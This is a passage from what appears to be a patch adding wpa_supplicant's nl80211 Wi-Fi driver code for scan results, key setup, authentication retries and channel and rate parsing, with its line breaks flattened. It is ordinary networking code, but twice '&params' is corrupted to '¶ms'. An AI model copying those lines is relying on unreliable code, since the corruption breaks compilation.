case NL80211_BSS_STATUS_ASSOCIATED: + r->flags |= WPA_SCAN_ASSOCIATED; + break; + default: + break; + } + } + + /* + * cfg80211 maintains separate BSS table entries for APs if the same + * BSSID,SSID pair is seen on multiple channels. wpa_supplicant does + * not use frequency as a separate key in the BSS table, so filter out + * duplicated entries. Prefer associated BSS entry in such a case in + * order to get the correct frequency into the BSS table. + */ + for (i = 0; i < res->num; i++) { + const u8 *s1, *s2; + if (os_memcmp(res->res[i]->bssid, r->bssid, ETH_ALEN) != 0) + continue; + + s1 = nl80211_get_ie((u8 *) (res->res[i] + 1), + res->res[i]->ie_len, WLAN_EID_SSID); + s2 = nl80211_get_ie((u8 *) (r + 1), r->ie_len, WLAN_EID_SSID); + if (s1 == NULL || s2 == NULL || s1[1] != s2[1] || + os_memcmp(s1, s2, 2 + s1[1]) != 0) + continue; + + /* Same BSSID,SSID was already included in scan results */ + wpa_printf(MSG_DEBUG, "nl80211: Remove duplicated scan result " + "for " MACSTR, MAC2STR(r->bssid)); + + if ((r->flags & WPA_SCAN_ASSOCIATED) && + !(res->res[i]->flags & WPA_SCAN_ASSOCIATED)) { + os_free(res->res[i]); + res->res[i] = r; + } else + os_free(r); + return NL_SKIP; + } + + tmp = os_realloc_array(res->res, res->num + 1, + sizeof(struct wpa_scan_res *)); + if (tmp == NULL) { + os_free(r); + return NL_SKIP; + } + tmp[res->num++] = r; + res->res = tmp; + + return NL_SKIP; +} + + +static void clear_state_mismatch(struct wpa_driver_nl80211_data *drv, + const u8 *addr) +{ + if (drv->capa.flags & WPA_DRIVER_FLAGS_SME) { + wpa_printf(MSG_DEBUG, "nl80211: Clear possible state " + "mismatch (" MACSTR ")", MAC2STR(addr)); + wpa_driver_nl80211_mlme(drv, addr, + NL80211_CMD_DEAUTHENTICATE, + WLAN_REASON_PREV_AUTH_NOT_VALID, 1); + } +} + + +static void wpa_driver_nl80211_check_bss_status( + struct wpa_driver_nl80211_data *drv, struct wpa_scan_results *res) +{ + size_t i; + + for (i = 0; i < res->num; i++) { + struct wpa_scan_res *r = res->res[i]; + if (r->flags & WPA_SCAN_AUTHENTICATED) { + wpa_printf(MSG_DEBUG, "nl80211: Scan results " + "indicates BSS status with " MACSTR + " as authenticated", + MAC2STR(r->bssid)); + if (is_sta_interface(drv->nlmode) && + os_memcmp(r->bssid, drv->bssid, ETH_ALEN) != 0 && + os_memcmp(r->bssid, drv->auth_bssid, ETH_ALEN) != + 0) { + wpa_printf(MSG_DEBUG, "nl80211: Unknown BSSID" + " in local state (auth=" MACSTR + " assoc=" MACSTR ")", + MAC2STR(drv->auth_bssid), + MAC2STR(drv->bssid)); + clear_state_mismatch(drv, r->bssid); + } + } + + if (r->flags & WPA_SCAN_ASSOCIATED) { + wpa_printf(MSG_DEBUG, "nl80211: Scan results " + "indicate BSS status with " MACSTR + " as associated", + MAC2STR(r->bssid)); + if (is_sta_interface(drv->nlmode) && + !drv->associated) { + wpa_printf(MSG_DEBUG, "nl80211: Local state " + "(not associated) does not match " + "with BSS state"); + clear_state_mismatch(drv, r->bssid); + } else if (is_sta_interface(drv->nlmode) && + os_memcmp(drv->bssid, r->bssid, ETH_ALEN) != + 0) { + wpa_printf(MSG_DEBUG, "nl80211: Local state " + "(associated with " MACSTR ") does " + "not match with BSS state", + MAC2STR(drv->bssid)); + clear_state_mismatch(drv, r->bssid); + clear_state_mismatch(drv, drv->bssid); + } + } + } +} + + +static struct wpa_scan_results * +nl80211_get_scan_results(struct wpa_driver_nl80211_data *drv) +{ + struct nl_msg *msg; + struct wpa_scan_results *res; + int ret; + struct nl80211_bss_info_arg arg; + + res = os_zalloc(sizeof(*res)); + if (res == NULL) + return NULL; + msg = nlmsg_alloc(); + if (!msg) + goto nla_put_failure; + + nl80211_cmd(drv, msg, NLM_F_DUMP, NL80211_CMD_GET_SCAN); + if (nl80211_set_iface_id(msg, drv->first_bss) < 0) + goto nla_put_failure; + + arg.drv = drv; + arg.res = res; + ret = send_and_recv_msgs(drv, msg, bss_info_handler, &arg); + msg = NULL; + if (ret == 0) { + wpa_printf(MSG_DEBUG, "nl80211: Received scan results (%lu " + "BSSes)", (unsigned long) res->num); + nl80211_get_noise_for_scan_results(drv, res); + return res; + } + wpa_printf(MSG_DEBUG, "nl80211: Scan result fetch failed: ret=%d " + "(%s)", ret, strerror(-ret)); +nla_put_failure: + nlmsg_free(msg); + wpa_scan_results_free(res); + return NULL; +} + + +/** + * wpa_driver_nl80211_get_scan_results - Fetch the latest scan results + * @priv: Pointer to private wext data from wpa_driver_nl80211_init() + * Returns: Scan results on success, -1 on failure + */ +static struct wpa_scan_results * +wpa_driver_nl80211_get_scan_results(void *priv) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct wpa_scan_results *res; + + res = nl80211_get_scan_results(drv); + if (res) + wpa_driver_nl80211_check_bss_status(drv, res); + return res; +} + + +static void nl80211_dump_scan(struct wpa_driver_nl80211_data *drv) +{ + struct wpa_scan_results *res; + size_t i; + + res = nl80211_get_scan_results(drv); + if (res == NULL) { + wpa_printf(MSG_DEBUG, "nl80211: Failed to get scan results"); + return; + } + + wpa_printf(MSG_DEBUG, "nl80211: Scan result dump"); + for (i = 0; i < res->num; i++) { + struct wpa_scan_res *r = res->res[i]; + wpa_printf(MSG_DEBUG, "nl80211: %d/%d " MACSTR "%s%s", + (int) i, (int) res->num, MAC2STR(r->bssid), + r->flags & WPA_SCAN_AUTHENTICATED ? " [auth]" : "", + r->flags & WPA_SCAN_ASSOCIATED ? " [assoc]" : ""); + } + + wpa_scan_results_free(res); +} + + +static int wpa_driver_nl80211_set_key(const char *ifname, struct i802_bss *bss, + enum wpa_alg alg, const u8 *addr, + int key_idx, int set_tx, + const u8 *seq, size_t seq_len, + const u8 *key, size_t key_len) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + int ifindex; + struct nl_msg *msg; + int ret; + int tdls = 0; + + /* Ignore for P2P Device */ + if (drv->nlmode == NL80211_IFTYPE_P2P_DEVICE) + return 0; + + ifindex = if_nametoindex(ifname); + wpa_printf(MSG_DEBUG, "%s: ifindex=%d (%s) alg=%d addr=%p key_idx=%d " + "set_tx=%d seq_len=%lu key_len=%lu", + __func__, ifindex, ifname, alg, addr, key_idx, set_tx, + (unsigned long) seq_len, (unsigned long) key_len); +#ifdef CONFIG_TDLS + if (key_idx == -1) { + key_idx = 0; + tdls = 1; + } +#endif /* CONFIG_TDLS */ + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + if (alg == WPA_ALG_NONE) { + nl80211_cmd(drv, msg, 0, NL80211_CMD_DEL_KEY); + } else { + nl80211_cmd(drv, msg, 0, NL80211_CMD_NEW_KEY); + NLA_PUT(msg, NL80211_ATTR_KEY_DATA, key_len, key); + switch (alg) { + case WPA_ALG_WEP: + if (key_len == 5) + NLA_PUT_U32(msg, NL80211_ATTR_KEY_CIPHER, + WLAN_CIPHER_SUITE_WEP40); + else + NLA_PUT_U32(msg, NL80211_ATTR_KEY_CIPHER, + WLAN_CIPHER_SUITE_WEP104); + break; + case WPA_ALG_TKIP: + NLA_PUT_U32(msg, NL80211_ATTR_KEY_CIPHER, + WLAN_CIPHER_SUITE_TKIP); + break; + case WPA_ALG_CCMP: + NLA_PUT_U32(msg, NL80211_ATTR_KEY_CIPHER, + WLAN_CIPHER_SUITE_CCMP); + break; + case WPA_ALG_GCMP: + NLA_PUT_U32(msg, NL80211_ATTR_KEY_CIPHER, + WLAN_CIPHER_SUITE_GCMP); + break; + case WPA_ALG_IGTK: + NLA_PUT_U32(msg, NL80211_ATTR_KEY_CIPHER, + WLAN_CIPHER_SUITE_AES_CMAC); + break; + case WPA_ALG_SMS4: + NLA_PUT_U32(msg, NL80211_ATTR_KEY_CIPHER, + WLAN_CIPHER_SUITE_SMS4); + break; + case WPA_ALG_KRK: + NLA_PUT_U32(msg, NL80211_ATTR_KEY_CIPHER, + WLAN_CIPHER_SUITE_KRK); + break; + default: + wpa_printf(MSG_ERROR, "%s: Unsupported encryption " + "algorithm %d", __func__, alg); + nlmsg_free(msg); + return -1; + } + } + + if (seq && seq_len) + NLA_PUT(msg, NL80211_ATTR_KEY_SEQ, seq_len, seq); + + if (addr && !is_broadcast_ether_addr(addr)) { + wpa_printf(MSG_DEBUG, " addr=" MACSTR, MAC2STR(addr)); + NLA_PUT(msg, NL80211_ATTR_MAC, ETH_ALEN, addr); + + if (alg != WPA_ALG_WEP && key_idx && !set_tx) { + wpa_printf(MSG_DEBUG, " RSN IBSS RX GTK"); + NLA_PUT_U32(msg, NL80211_ATTR_KEY_TYPE, + NL80211_KEYTYPE_GROUP); + } + } else if (addr && is_broadcast_ether_addr(addr)) { + struct nlattr *types; + + wpa_printf(MSG_DEBUG, " broadcast key"); + + types = nla_nest_start(msg, NL80211_ATTR_KEY_DEFAULT_TYPES); + if (!types) + goto nla_put_failure; + NLA_PUT_FLAG(msg, NL80211_KEY_DEFAULT_TYPE_MULTICAST); + nla_nest_end(msg, types); + } + NLA_PUT_U8(msg, NL80211_ATTR_KEY_IDX, key_idx); + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, ifindex); + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + if ((ret == -ENOENT || ret == -ENOLINK) && alg == WPA_ALG_NONE) + ret = 0; + if (ret) + wpa_printf(MSG_DEBUG, "nl80211: set_key failed; err=%d %s)", + ret, strerror(-ret)); + + /* + * If we failed or don't need to set the default TX key (below), + * we're done here. + */ + if (ret || !set_tx || alg == WPA_ALG_NONE || tdls) + return ret; + if (is_ap_interface(drv->nlmode) && addr && + !is_broadcast_ether_addr(addr)) + return ret; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_SET_KEY); + NLA_PUT_U8(msg, NL80211_ATTR_KEY_IDX, key_idx); + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, ifindex); + if (alg == WPA_ALG_IGTK) + NLA_PUT_FLAG(msg, NL80211_ATTR_KEY_DEFAULT_MGMT); + else + NLA_PUT_FLAG(msg, NL80211_ATTR_KEY_DEFAULT); + if (addr && is_broadcast_ether_addr(addr)) { + struct nlattr *types; + + types = nla_nest_start(msg, NL80211_ATTR_KEY_DEFAULT_TYPES); + if (!types) + goto nla_put_failure; + NLA_PUT_FLAG(msg, NL80211_KEY_DEFAULT_TYPE_MULTICAST); + nla_nest_end(msg, types); + } else if (addr) { + struct nlattr *types; + + types = nla_nest_start(msg, NL80211_ATTR_KEY_DEFAULT_TYPES); + if (!types) + goto nla_put_failure; + NLA_PUT_FLAG(msg, NL80211_KEY_DEFAULT_TYPE_UNICAST); + nla_nest_end(msg, types); + } + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + if (ret == -ENOENT) + ret = 0; + if (ret) + wpa_printf(MSG_DEBUG, "nl80211: set_key default failed; " + "err=%d %s)", ret, strerror(-ret)); + return ret; + +nla_put_failure: + nlmsg_free(msg); + return -ENOBUFS; +} + + +static int nl_add_key(struct nl_msg *msg, enum wpa_alg alg, + int key_idx, int defkey, + const u8 *seq, size_t seq_len, + const u8 *key, size_t key_len) +{ + struct nlattr *key_attr = nla_nest_start(msg, NL80211_ATTR_KEY); + if (!key_attr) + return -1; + + if (defkey && alg == WPA_ALG_IGTK) + NLA_PUT_FLAG(msg, NL80211_KEY_DEFAULT_MGMT); + else if (defkey) + NLA_PUT_FLAG(msg, NL80211_KEY_DEFAULT); + + NLA_PUT_U8(msg, NL80211_KEY_IDX, key_idx); + + switch (alg) { + case WPA_ALG_WEP: + if (key_len == 5) + NLA_PUT_U32(msg, NL80211_KEY_CIPHER, + WLAN_CIPHER_SUITE_WEP40); + else + NLA_PUT_U32(msg, NL80211_KEY_CIPHER, + WLAN_CIPHER_SUITE_WEP104); + break; + case WPA_ALG_TKIP: + NLA_PUT_U32(msg, NL80211_KEY_CIPHER, WLAN_CIPHER_SUITE_TKIP); + break; + case WPA_ALG_CCMP: + NLA_PUT_U32(msg, NL80211_KEY_CIPHER, WLAN_CIPHER_SUITE_CCMP); + break; + case WPA_ALG_GCMP: + NLA_PUT_U32(msg, NL80211_KEY_CIPHER, WLAN_CIPHER_SUITE_GCMP); + break; + case WPA_ALG_IGTK: + NLA_PUT_U32(msg, NL80211_KEY_CIPHER, + WLAN_CIPHER_SUITE_AES_CMAC); + break; + default: + wpa_printf(MSG_ERROR, "%s: Unsupported encryption " + "algorithm %d", __func__, alg); + return -1; + } + + if (seq && seq_len) + NLA_PUT(msg, NL80211_KEY_SEQ, seq_len, seq); + + NLA_PUT(msg, NL80211_KEY_DATA, key_len, key); + + nla_nest_end(msg, key_attr); + + return 0; + nla_put_failure: + return -1; +} + + +static int nl80211_set_conn_keys(struct wpa_driver_associate_params *params, + struct nl_msg *msg) +{ + int i, privacy = 0; + struct nlattr *nl_keys, *nl_key; + + for (i = 0; i < 4; i++) { + if (!params->wep_key[i]) + continue; + privacy = 1; + break; + } + if (params->wps == WPS_MODE_PRIVACY) + privacy = 1; + if (params->pairwise_suite && + params->pairwise_suite != WPA_CIPHER_NONE) + privacy = 1; + + if (!privacy) + return 0; + + NLA_PUT_FLAG(msg, NL80211_ATTR_PRIVACY); + + nl_keys = nla_nest_start(msg, NL80211_ATTR_KEYS); + if (!nl_keys) + goto nla_put_failure; + + for (i = 0; i < 4; i++) { + if (!params->wep_key[i]) + continue; + + nl_key = nla_nest_start(msg, i); + if (!nl_key) + goto nla_put_failure; + + NLA_PUT(msg, NL80211_KEY_DATA, params->wep_key_len[i], + params->wep_key[i]); + if (params->wep_key_len[i] == 5) + NLA_PUT_U32(msg, NL80211_KEY_CIPHER, + WLAN_CIPHER_SUITE_WEP40); + else + NLA_PUT_U32(msg, NL80211_KEY_CIPHER, + WLAN_CIPHER_SUITE_WEP104); + + NLA_PUT_U8(msg, NL80211_KEY_IDX, i); + + if (i == params->wep_tx_keyidx) + NLA_PUT_FLAG(msg, NL80211_KEY_DEFAULT); + + nla_nest_end(msg, nl_key); + } + nla_nest_end(msg, nl_keys); + + return 0; + +nla_put_failure: + return -ENOBUFS; +} + + +static int wpa_driver_nl80211_mlme(struct wpa_driver_nl80211_data *drv, + const u8 *addr, int cmd, u16 reason_code, + int local_state_change) +{ + int ret = -1; + struct nl_msg *msg; + + msg = nlmsg_alloc(); + if (!msg) + return -1; + + nl80211_cmd(drv, msg, 0, cmd); + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + NLA_PUT_U16(msg, NL80211_ATTR_REASON_CODE, reason_code); + if (addr) + NLA_PUT(msg, NL80211_ATTR_MAC, ETH_ALEN, addr); + if (local_state_change) + NLA_PUT_FLAG(msg, NL80211_ATTR_LOCAL_STATE_CHANGE); + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + msg = NULL; + if (ret) { + wpa_dbg(drv->ctx, MSG_DEBUG, + "nl80211: MLME command failed: reason=%u ret=%d (%s)", + reason_code, ret, strerror(-ret)); + goto nla_put_failure; + } + ret = 0; + +nla_put_failure: + nlmsg_free(msg); + return ret; +} + + +static int wpa_driver_nl80211_disconnect(struct wpa_driver_nl80211_data *drv, + int reason_code) +{ + int ret; + + wpa_printf(MSG_DEBUG, "%s(reason_code=%d)", __func__, reason_code); + nl80211_mark_disconnected(drv); + /* Disconnect command doesn't need BSSID - it uses cached value */ + ret = wpa_driver_nl80211_mlme(drv, NULL, NL80211_CMD_DISCONNECT, + reason_code, 0); + /* + * For locally generated disconnect, supplicant already generates a + * DEAUTH event, so ignore the event from NL80211. + */ + drv->ignore_next_local_disconnect = ret == 0; + + return ret; +} + + +static int wpa_driver_nl80211_deauthenticate(struct i802_bss *bss, + const u8 *addr, int reason_code) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + if (!(drv->capa.flags & WPA_DRIVER_FLAGS_SME)) + return wpa_driver_nl80211_disconnect(drv, reason_code); + wpa_printf(MSG_DEBUG, "%s(addr=" MACSTR " reason_code=%d)", + __func__, MAC2STR(addr), reason_code); + nl80211_mark_disconnected(drv); + if (drv->nlmode == NL80211_IFTYPE_ADHOC) + return nl80211_leave_ibss(drv); + return wpa_driver_nl80211_mlme(drv, addr, NL80211_CMD_DEAUTHENTICATE, + reason_code, 0); +} + + +static void nl80211_copy_auth_params(struct wpa_driver_nl80211_data *drv, + struct wpa_driver_auth_params *params) +{ + int i; + + drv->auth_freq = params->freq; + drv->auth_alg = params->auth_alg; + drv->auth_wep_tx_keyidx = params->wep_tx_keyidx; + drv->auth_local_state_change = params->local_state_change; + drv->auth_p2p = params->p2p; + + if (params->bssid) + os_memcpy(drv->auth_bssid_, params->bssid, ETH_ALEN); + else + os_memset(drv->auth_bssid_, 0, ETH_ALEN); + + if (params->ssid) { + os_memcpy(drv->auth_ssid, params->ssid, params->ssid_len); + drv->auth_ssid_len = params->ssid_len; + } else + drv->auth_ssid_len = 0; + + + os_free(drv->auth_ie); + drv->auth_ie = NULL; + drv->auth_ie_len = 0; + if (params->ie) { + drv->auth_ie = os_malloc(params->ie_len); + if (drv->auth_ie) { + os_memcpy(drv->auth_ie, params->ie, params->ie_len); + drv->auth_ie_len = params->ie_len; + } + } + + for (i = 0; i < 4; i++) { + if (params->wep_key[i] && params->wep_key_len[i] && + params->wep_key_len[i] <= 16) { + os_memcpy(drv->auth_wep_key[i], params->wep_key[i], + params->wep_key_len[i]); + drv->auth_wep_key_len[i] = params->wep_key_len[i]; + } else + drv->auth_wep_key_len[i] = 0; + } +} + + +static int wpa_driver_nl80211_authenticate( + struct i802_bss *bss, struct wpa_driver_auth_params *params) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + int ret = -1, i; + struct nl_msg *msg; + enum nl80211_auth_type type; + enum nl80211_iftype nlmode; + int count = 0; + int is_retry; + + is_retry = drv->retry_auth; + drv->retry_auth = 0; + + nl80211_mark_disconnected(drv); + os_memset(drv->auth_bssid, 0, ETH_ALEN); + if (params->bssid) + os_memcpy(drv->auth_attempt_bssid, params->bssid, ETH_ALEN); + else + os_memset(drv->auth_attempt_bssid, 0, ETH_ALEN); + /* FIX: IBSS mode */ + nlmode = params->p2p ? + NL80211_IFTYPE_P2P_CLIENT : NL80211_IFTYPE_STATION; + if (drv->nlmode != nlmode && + wpa_driver_nl80211_set_mode(bss, nlmode) < 0) + return -1; + +retry: + msg = nlmsg_alloc(); + if (!msg) + return -1; + + wpa_printf(MSG_DEBUG, "nl80211: Authenticate (ifindex=%d)", + drv->ifindex); + + nl80211_cmd(drv, msg, 0, NL80211_CMD_AUTHENTICATE); + + for (i = 0; i < 4; i++) { + if (!params->wep_key[i]) + continue; + wpa_driver_nl80211_set_key(bss->ifname, bss, WPA_ALG_WEP, + NULL, i, + i == params->wep_tx_keyidx, NULL, 0, + params->wep_key[i], + params->wep_key_len[i]); + if (params->wep_tx_keyidx != i) + continue; + if (nl_add_key(msg, WPA_ALG_WEP, i, 1, NULL, 0, + params->wep_key[i], params->wep_key_len[i])) { + nlmsg_free(msg); + return -1; + } + } + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + if (params->bssid) { + wpa_printf(MSG_DEBUG, " * bssid=" MACSTR, + MAC2STR(params->bssid)); + NLA_PUT(msg, NL80211_ATTR_MAC, ETH_ALEN, params->bssid); + } + if (params->freq) { + wpa_printf(MSG_DEBUG, " * freq=%d", params->freq); + NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_FREQ, params->freq); + } + if (params->ssid) { + wpa_hexdump_ascii(MSG_DEBUG, " * SSID", + params->ssid, params->ssid_len); + NLA_PUT(msg, NL80211_ATTR_SSID, params->ssid_len, + params->ssid); + } + wpa_hexdump(MSG_DEBUG, " * IEs", params->ie, params->ie_len); + if (params->ie) + NLA_PUT(msg, NL80211_ATTR_IE, params->ie_len, params->ie); + if (params->sae_data) { + wpa_hexdump(MSG_DEBUG, " * SAE data", params->sae_data, + params->sae_data_len); + NLA_PUT(msg, NL80211_ATTR_SAE_DATA, params->sae_data_len, + params->sae_data); + } + if (params->auth_alg & WPA_AUTH_ALG_OPEN) + type = NL80211_AUTHTYPE_OPEN_SYSTEM; + else if (params->auth_alg & WPA_AUTH_ALG_SHARED) + type = NL80211_AUTHTYPE_SHARED_KEY; + else if (params->auth_alg & WPA_AUTH_ALG_LEAP) + type = NL80211_AUTHTYPE_NETWORK_EAP; + else if (params->auth_alg & WPA_AUTH_ALG_FT) + type = NL80211_AUTHTYPE_FT; + else if (params->auth_alg & WPA_AUTH_ALG_SAE) + type = NL80211_AUTHTYPE_SAE; + else + goto nla_put_failure; + wpa_printf(MSG_DEBUG, " * Auth Type %d", type); + NLA_PUT_U32(msg, NL80211_ATTR_AUTH_TYPE, type); + if (params->local_state_change) { + wpa_printf(MSG_DEBUG, " * Local state change only"); + NLA_PUT_FLAG(msg, NL80211_ATTR_LOCAL_STATE_CHANGE); + } + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + msg = NULL; + if (ret) { + wpa_dbg(drv->ctx, MSG_DEBUG, + "nl80211: MLME command failed (auth): ret=%d (%s)", + ret, strerror(-ret)); + count++; + if (ret == -EALREADY && count == 1 && params->bssid && + !params->local_state_change) { + /* + * mac80211 does not currently accept new + * authentication if we are already authenticated. As a + * workaround, force deauthentication and try again. + */ + wpa_printf(MSG_DEBUG, "nl80211: Retry authentication " + "after forced deauthentication"); + wpa_driver_nl80211_deauthenticate( + bss, params->bssid, + WLAN_REASON_PREV_AUTH_NOT_VALID); + nlmsg_free(msg); + goto retry; + } + + if (ret == -ENOENT && params->freq && !is_retry) { + /* + * cfg80211 has likely expired the BSS entry even + * though it was previously available in our internal + * BSS table. To recover quickly, start a single + * channel scan on the specified channel. + */ + struct wpa_driver_scan_params scan; + int freqs[2]; + + os_memset(&scan, 0, sizeof(scan)); + scan.num_ssids = 1; + if (params->ssid) { + scan.ssids[0].ssid = params->ssid; + scan.ssids[0].ssid_len = params->ssid_len; + } + freqs[0] = params->freq; + freqs[1] = 0; + scan.freqs = freqs; + wpa_printf(MSG_DEBUG, "nl80211: Trigger single " + "channel scan to refresh cfg80211 BSS " + "entry"); + ret = wpa_driver_nl80211_scan(bss, &scan); + if (ret == 0) { + nl80211_copy_auth_params(drv, params); + drv->scan_for_auth = 1; + } + } else if (is_retry) { + /* + * Need to indicate this with an event since the return + * value from the retry is not delivered to core code. + */ + union wpa_event_data event; + wpa_printf(MSG_DEBUG, "nl80211: Authentication retry " + "failed"); + os_memset(&event, 0, sizeof(event)); + os_memcpy(event.timeout_event.addr, drv->auth_bssid_, + ETH_ALEN); + wpa_supplicant_event(drv->ctx, EVENT_AUTH_TIMED_OUT, + &event); + } + + goto nla_put_failure; + } + ret = 0; + wpa_printf(MSG_DEBUG, "nl80211: Authentication request send " + "successfully"); + +nla_put_failure: + nlmsg_free(msg); + return ret; +} + + +static int wpa_driver_nl80211_authenticate_retry( + struct wpa_driver_nl80211_data *drv) +{ + struct wpa_driver_auth_params params; + struct i802_bss *bss = drv->first_bss; + int i; + + wpa_printf(MSG_DEBUG, "nl80211: Try to authenticate again"); + + os_memset(¶ms, 0, sizeof(params)); + params.freq = drv->auth_freq; + params.auth_alg = drv->auth_alg; + params.wep_tx_keyidx = drv->auth_wep_tx_keyidx; + params.local_state_change = drv->auth_local_state_change; + params.p2p = drv->auth_p2p; + + if (!is_zero_ether_addr(drv->auth_bssid_)) + params.bssid = drv->auth_bssid_; + + if (drv->auth_ssid_len) { + params.ssid = drv->auth_ssid; + params.ssid_len = drv->auth_ssid_len; + } + + params.ie = drv->auth_ie; + params.ie_len = drv->auth_ie_len; + + for (i = 0; i < 4; i++) { + if (drv->auth_wep_key_len[i]) { + params.wep_key[i] = drv->auth_wep_key[i]; + params.wep_key_len[i] = drv->auth_wep_key_len[i]; + } + } + + drv->retry_auth = 1; + return wpa_driver_nl80211_authenticate(bss, ¶ms); +} + + +struct phy_info_arg { + u16 *num_modes; + struct hostapd_hw_modes *modes; + int last_mode, last_chan_idx; +}; + +static void phy_info_ht_capa(struct hostapd_hw_modes *mode, struct nlattr *capa, + struct nlattr *ampdu_factor, + struct nlattr *ampdu_density, + struct nlattr *mcs_set) +{ + if (capa) + mode->ht_capab = nla_get_u16(capa); + + if (ampdu_factor) + mode->a_mpdu_params |= nla_get_u8(ampdu_factor) & 0x03; + + if (ampdu_density) + mode->a_mpdu_params |= nla_get_u8(ampdu_density) << 2; + + if (mcs_set && nla_len(mcs_set) >= 16) { + u8 *mcs; + mcs = nla_data(mcs_set); + os_memcpy(mode->mcs_set, mcs, 16); + } +} + + +static void phy_info_vht_capa(struct hostapd_hw_modes *mode, + struct nlattr *capa, + struct nlattr *mcs_set) +{ + if (capa) + mode->vht_capab = nla_get_u32(capa); + + if (mcs_set && nla_len(mcs_set) >= 8) { + u8 *mcs; + mcs = nla_data(mcs_set); + os_memcpy(mode->vht_mcs_set, mcs, 8); + } +} + + +static void phy_info_freq(struct hostapd_hw_modes *mode, + struct hostapd_channel_data *chan, + struct nlattr *tb_freq[]) +{ + u8 channel; + chan->freq = nla_get_u32(tb_freq[NL80211_FREQUENCY_ATTR_FREQ]); + chan->flag = 0; + if (ieee80211_freq_to_chan(chan->freq, &channel) != NUM_HOSTAPD_MODES) + chan->chan = channel; + + if (tb_freq[NL80211_FREQUENCY_ATTR_DISABLED]) + chan->flag |= HOSTAPD_CHAN_DISABLED; + if (tb_freq[NL80211_FREQUENCY_ATTR_PASSIVE_SCAN]) + chan->flag |= HOSTAPD_CHAN_PASSIVE_SCAN; + if (tb_freq[NL80211_FREQUENCY_ATTR_NO_IBSS]) + chan->flag |= HOSTAPD_CHAN_NO_IBSS; + if (tb_freq[NL80211_FREQUENCY_ATTR_RADAR]) + chan->flag |= HOSTAPD_CHAN_RADAR; + + if (tb_freq[NL80211_FREQUENCY_ATTR_DFS_STATE]) { + enum nl80211_dfs_state state = + nla_get_u32(tb_freq[NL80211_FREQUENCY_ATTR_DFS_STATE]); + + switch (state) { + case NL80211_DFS_USABLE: + chan->flag |= HOSTAPD_CHAN_DFS_USABLE; + break; + case NL80211_DFS_AVAILABLE: + chan->flag |= HOSTAPD_CHAN_DFS_AVAILABLE; + break; + case NL80211_DFS_UNAVAILABLE: + chan->flag |= HOSTAPD_CHAN_DFS_UNAVAILABLE; + break; + } + } +} + + +static int phy_info_freqs(struct phy_info_arg *phy_info, + struct hostapd_hw_modes *mode, struct nlattr *tb) +{ + static struct nla_policy freq_policy[NL80211_FREQUENCY_ATTR_MAX + 1] = { + [NL80211_FREQUENCY_ATTR_FREQ] = { .type = NLA_U32 }, + [NL80211_FREQUENCY_ATTR_DISABLED] = { .type = NLA_FLAG }, + [NL80211_FREQUENCY_ATTR_PASSIVE_SCAN] = { .type = NLA_FLAG }, + [NL80211_FREQUENCY_ATTR_NO_IBSS] = { .type = NLA_FLAG }, + [NL80211_FREQUENCY_ATTR_RADAR] = { .type = NLA_FLAG }, + [NL80211_FREQUENCY_ATTR_MAX_TX_POWER] = { .type = NLA_U32 }, + [NL80211_FREQUENCY_ATTR_DFS_STATE] = { .type = NLA_U32 }, + }; + int new_channels = 0; + struct hostapd_channel_data *channel; + struct nlattr *tb_freq[NL80211_FREQUENCY_ATTR_MAX + 1]; + struct nlattr *nl_freq; + int rem_freq, idx; + + if (tb == NULL) + return NL_OK; + + nla_for_each_nested(nl_freq, tb, rem_freq) { + nla_parse(tb_freq, NL80211_FREQUENCY_ATTR_MAX, + nla_data(nl_freq), nla_len(nl_freq), freq_policy); + if (!tb_freq[NL80211_FREQUENCY_ATTR_FREQ]) + continue; + new_channels++; + } + + channel = os_realloc_array(mode->channels, + mode->num_channels + new_channels, + sizeof(struct hostapd_channel_data)); + if (!channel) + return NL_SKIP; + + mode->channels = channel; + mode->num_channels += new_channels; + + idx = phy_info->last_chan_idx; + + nla_for_each_nested(nl_freq, tb, rem_freq) { + nla_parse(tb_freq, NL80211_FREQUENCY_ATTR_MAX, + nla_data(nl_freq), nla_len(nl_freq), freq_policy); + if (!tb_freq[NL80211_FREQUENCY_ATTR_FREQ]) + continue; + phy_info_freq(mode, &mode->channels[idx], tb_freq); + idx++; + } + phy_info->last_chan_idx = idx; + + return NL_OK; +} + + +static int phy_info_rates(struct hostapd_hw_modes *mode, struct nlattr *tb) +{ + static struct nla_policy rate_policy[NL80211_BITRATE_ATTR_MAX + 1] = { + [NL80211_BITRATE_ATTR_RATE] = { .type = NLA_U32 }, + [NL80211_BITRATE_ATTR_2GHZ_SHORTPREAMBLE] = + { .type = NLA_FLAG }, + }; + struct nlattr *tb_rate[NL80211_BITRATE_ATTR_MAX + 1]; + struct nlattr *nl_rate; + int rem_rate, idx; + + if (tb == NULL) + return NL_OK; + + nla_for_each_nested(nl_rate, tb, rem_rate) { + nla_parse(tb_rate, NL80211_BITRATE_ATTR_MAX, + nla_data(nl_rate), nla_len(nl_rate), + rate_policy); + if (!tb_rate[NL80211_BITRATE_ATTR_RATE]) + continue; + mode->num_rates++; + } + + mode->rates = os_calloc(mode->num_rates, sizeof(int)); + if (!mode->rates) + return NL_SKIP; + + idx = 0; + + nla_for_each_nested(nl_rate, tb, rem_rate) { + nla_parse(tb_rate, NL80211_BITRATE_ATTR_MAX, + nla_data(nl_rate), nla_len(nl_rate), + rate_policy); + if (!tb_rate[NL80211_BITRATE_ATTR_RATE]) + continue; + mode->rates[idx] = nla_get_u32( + tb_rate[NL80211_BITRATE_ATTR_RATE]); + idx++; + } + + return NL_OK; +} + + +static int phy_info_band(struct phy_info_arg *phy_info, struct nlattr *nl_band) +{ + struct nlattr *tb_band[NL80211_BAND_ATTR_MAX + 1]; + struct hostapd_hw_modes *mode; + int ret; + + if 